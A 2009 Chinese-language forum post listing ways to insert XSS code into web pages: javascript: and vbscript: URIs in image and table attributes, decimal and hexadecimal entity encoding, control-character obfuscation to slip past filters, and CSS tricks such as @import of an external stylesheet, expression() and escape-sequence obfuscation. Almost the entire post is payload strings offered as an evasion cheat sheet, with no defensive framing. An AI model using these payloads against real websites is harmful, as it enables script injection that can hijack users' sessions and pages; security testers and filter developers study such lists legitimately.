找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 451|回复: 0

插入XSS代码的方法

[复制链接]

11

主题

0

回帖

16

牛毛

初生牛犊

积分
16
发表于 2009-4-24 15:41:37 | 显示全部楼层 |阅读模式 来自 内蒙古兴安盟乌兰浩特市
1.脚本插入
(1)插入javascript和vbscript正常字符。
例1:<img src="javascript:alert(/xss/)">
例2:<table background="javascript:alert(/xss/)"></table>'/在表格中插入脚本
例3:<img src="vbscript:msgbox(&quot;a&quot;)">
(2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符
例1:<img src="&#106;avascript:alert(/xss/)"> '/将j字符转为十进制字符&#106; 。
例2:<img src="&#x6A;avascript:alert(/xss/)"> '/将j字符转为十六进制字符&#x6A; 。
(3)插入混淆字符。在系统控制字符中,除了头部的&#00(null)和尾部的&#127(del)外,其他31个字符均可作为混淆字符,比如&#01、&#02等字符都可插入到javascript或vbscript的头部,其中Tab符&#9、换行符&#10、回车符&#13还可以插入到代码中任意地方。
例1:<img src="&#01;javascript:alert(/a/)"> '/插入到代码头部,其中&#01;可写成&#1,效果一样
例2:<img src="java&#09;scr&#10;ipt:alert(/a/)"> '/插入到代码中任意位置,其中&#09;可写成&#9
例3:<IMG SRC="jav&#xd;ascript:alert('XSS')"> '/&#xd;是回车符的16进制形式
例4:<IMG SRC="jav&#xa;ascript:alert('XSS')"> '/&#xa;是换行符的16进制形式
2.样式表
(1)利用CSS代码@import、expression触发XSS漏洞。
例1:@import "http://web/xss.css"; '导入外部带有XSS代码的CSS样式表。
例2:@import'javascript:alert("xss")'; '调用javascript脚本触发漏洞
例3:body{xss:expression(alert('xss'))} '在内部样式表中加入expression事件
例4:<img style="xss:expression(alert(&quot;xss&quot;))">'在内嵌样式表中加入expression事件
(2)在CSS代码中加入javascript和vbscript脚本
例1:body{background-image:url(javascript:alert("xss"))}
例2:body{background-image:url(vbscript:msgbox("xss"))}
(3)转换字符类型,以十六进制字符替换其中或全部的字符:
例1:@\0069mport:url(web/1.css);'//将其中的i转为\0069
例2:body{xss:\0065xpression(alert('xss'))}'//将e转换为\0065
例3:body{background-image:\0075\0072\006c...}'将url全转为16进制
(4)插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符"\"和结束符"\0"也是被忽略的,可以用来混淆字符。
例1:@\0im\port'\0ja\vasc\ript:alert("xss")';
例2:@\i\0m\00p\000o\0000\00***00r\00***00t"url";
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-29 01:55 , Processed in 0.143903 second(s), 33 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表